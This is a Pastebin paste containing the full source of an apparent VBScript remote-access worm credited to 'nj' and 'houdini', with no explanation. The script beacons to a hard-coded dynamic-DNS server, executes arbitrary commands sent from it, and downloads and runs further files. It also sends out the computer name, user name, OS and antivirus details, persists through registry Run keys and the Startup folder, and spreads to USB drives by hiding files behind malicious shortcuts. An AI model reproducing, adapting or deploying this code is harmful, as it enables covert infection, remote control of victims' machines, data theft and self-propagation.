Guest User

Untitled

a guest
Oct 7th, 2015
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.17 KB | None | 0 0
  1. '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=
  2.  
  3. host = "anin28.ddns.net"
  4. port = 1188
  5. installdir = "%temp%"
  6.  
  7. '<[ coded by nj ]> | <[ modifier : houdini ]>
  8.  
  9. '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=
  10.  
  11. dim shellobj
  12. set shellobj = wscript.createobject("wscript.shell")
  13. dim filesystemobj
  14. set filesystemobj = createobject("scripting.filesystemobject")
  15. dim httpobj
  16. set httpobj = createobject("msxml2.xmlhttp")
  17.  
  18.  
  19. '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
  20.  
  21. installname = wscript.scriptname
  22. startup = shellobj.specialfolders ("startup") & "\"
  23. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  24. if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  25. spliter = "<|>"
  26. sleep = 5000
  27. dim response
  28. dim cmd
  29. dim param
  30. info = ""
  31. usbspreading = ""
  32. dim oneonce
  33.  
  34. '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
  35. on error resume next
  36.  
  37.  
  38. instance
  39. while true
  40.  
  41. install
  42.  
  43. response = ""
  44. response = post ("is-ready","")
  45. cmd = split (response,spliter)
  46. select case cmd (0)
  47. case "excecute"
  48. param = cmd (1)
  49. execute param
  50. case "update"
  51. param = cmd (1)
  52. oneonce.close
  53. set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false)
  54. oneonce.write param
  55. oneonce.close
  56. shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  57. wscript.quit
  58. case "uninstall"
  59. uninstall
  60. Case "send"
  61. param = cmd (1)
  62. download (param)
  63. end select
  64.  
  65. wscript.sleep sleep
  66.  
  67. wend
  68.  
  69.  
  70. sub install
  71. on error resume next
  72. dim lnkobj
  73. dim filename
  74. dim fileicon
  75.  
  76. upstart
  77. for each drive in filesystemobj.drives
  78.  
  79. if drive.isready = true then
  80. if drive.freespace > 0 then
  81. if drive.drivetype = 1 then
  82. filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  83. if filesystemobj.fileexists (drive.path & "\" & installname) then
  84. filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4
  85. end if
  86. for each file in filesystemobj.getfolder( drive.path & "\" ).files
  87. if instr (file.name,".") then
  88. if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  89. file.attributes = 2+4
  90. if ucase (file.name) <> ucase (installname) then
  91. filename = split(file.name,".")
  92. set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk")
  93. lnkobj.targetpath = "cmd.exe"
  94. lnkobj.workingdirectory = ""
  95. lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  96. fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  97. if instr (fileicon,",") = 0 then
  98. lnkobj.iconlocation = file.path
  99. else
  100. lnkobj.iconlocation = fileicon
  101. end if
  102. lnkobj.save()
  103. end if
  104. end if
  105. end if
  106. next
  107. end If
  108. end If
  109. end if
  110. next
  111. err.clear
  112. end sub
  113.  
  114. sub uninstall
  115. on error resume next
  116. dim filename
  117.  
  118. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  119. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  120. filesystemobj.deletefile startup & installname ,true
  121. filesystemobj.deletefile wscript.scriptfullname ,true
  122.  
  123. for each drive in filesystemobj.drives
  124. if drive.isready = true then
  125. if drive.freespace > 0 then
  126. if drive.drivetype = 1 then
  127. for each file in filesystemobj.getfolder ( drive.path & "\").files
  128. on error resume next
  129. if instr (file.name,".") then
  130. if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  131. file.attributes = 0
  132. if ucase (file.name) <> ucase (installname) then
  133. filename = split(file.name,".")
  134. filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  135. else
  136. filesystemobj.deletefile (drive.path & "\" & file.name)
  137. end if
  138. end if
  139. end if
  140. next
  141. end if
  142. end if
  143. end if
  144. next
  145. wscript.quit
  146. end sub
  147.  
  148. function post (cmd ,param)
  149.  
  150. post = param
  151. httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
  152. httpobj.setrequestheader "user-agent:",information
  153. httpobj.send param
  154. post = httpobj.responsetext
  155. end function
  156.  
  157. function information
  158. on error resume next
  159. if inf = "" then
  160. inf = hwid & spliter
  161. inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
  162. inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
  163.  
  164. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  165. set os = root.execquery ("select * from win32_operatingsystem")
  166. for each osinfo in os
  167. inf = inf & osinfo.caption & spliter
  168. exit for
  169. next
  170. inf = inf & "underworld final" & spliter
  171. inf = inf & security & spliter
  172. inf = inf & usbspreading
  173. information = inf
  174. else
  175. information = inf
  176. end if
  177. end function
  178.  
  179.  
  180. sub upstart ()
  181. on error resume Next
  182.  
  183. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  184. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  185. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  186. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  187.  
  188. end sub
  189.  
  190.  
  191. function hwid
  192. on error resume next
  193.  
  194. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  195. set disks = root.execquery ("select * from win32_logicaldisk")
  196. for each disk in disks
  197. if disk.volumeserialnumber <> "" then
  198. hwid = disk.volumeserialnumber
  199. exit for
  200. end if
  201. next
  202. end function
  203.  
  204.  
  205. function security
  206. on error resume next
  207.  
  208. security = ""
  209.  
  210. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  211. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  212. for each objitem in colitems
  213. versionstr = split (objitem.version,".")
  214. next
  215. versionstr = split (colitems.version,".")
  216. osversion = versionstr (0) & "."
  217. for x = 1 to ubound (versionstr)
  218. osversion = osversion & versionstr (i)
  219. next
  220. osversion = eval (osversion)
  221. if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  222.  
  223. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  224. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  225.  
  226. for each objantivirus in colantivirus
  227. security = security & objantivirus.displayname & " ."
  228. next
  229. if security = "" then security = "nan-av"
  230. end function
  231.  
  232.  
  233. function instance
  234. on error resume next
  235.  
  236. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  237. if usbspreading = "" then
  238. if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then
  239. usbspreading = "true"
  240. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
  241. else
  242. usbspreading = "false"
  243. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
  244.  
  245. end if
  246. end if
  247.  
  248. upstart
  249. set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname)
  250. set installfullnameshort = filesystemobj.getfile (installdir & installname)
  251. if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  252. shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  253. wscript.quit
  254. end If
  255. err.clear
  256. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  257. if err.number > 0 then wscript.quit
  258. end function
  259.  
  260.  
  261. function download (fileurl)
  262.  
  263.  
  264. strsaveto = installdir & mid (fileurl, instrrev (fileurl,"\") + 1)
  265. set objhttpdownload = createobject("msxml2.xmlhttp")
  266. objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
  267. objhttpdownload.send ""
  268.  
  269. set objfsodownload = createobject ("scripting.filesystemobject")
  270. if objfsodownload.fileexists (strsaveto) then
  271. objfsodownload.deletefile (strsaveto)
  272. end if
  273. if objhttpdownload.status = 200 then
  274. dim objstreamdownload
  275. set objstreamdownload = createobject("adodb.stream")
  276. with objstreamdownload
  277. .type = 1
  278. .open
  279. .write objhttpdownload.responsebody
  280. .savetofile strsaveto
  281. .close
  282. end with
  283. set objstreamdownload = nothing
  284. end if
  285. if objfsodownload.fileexists (strsaveto) then
  286. shellobj.exec strsaveto
  287. end if
  288. end function
Add Comment
Please, Sign In to add comment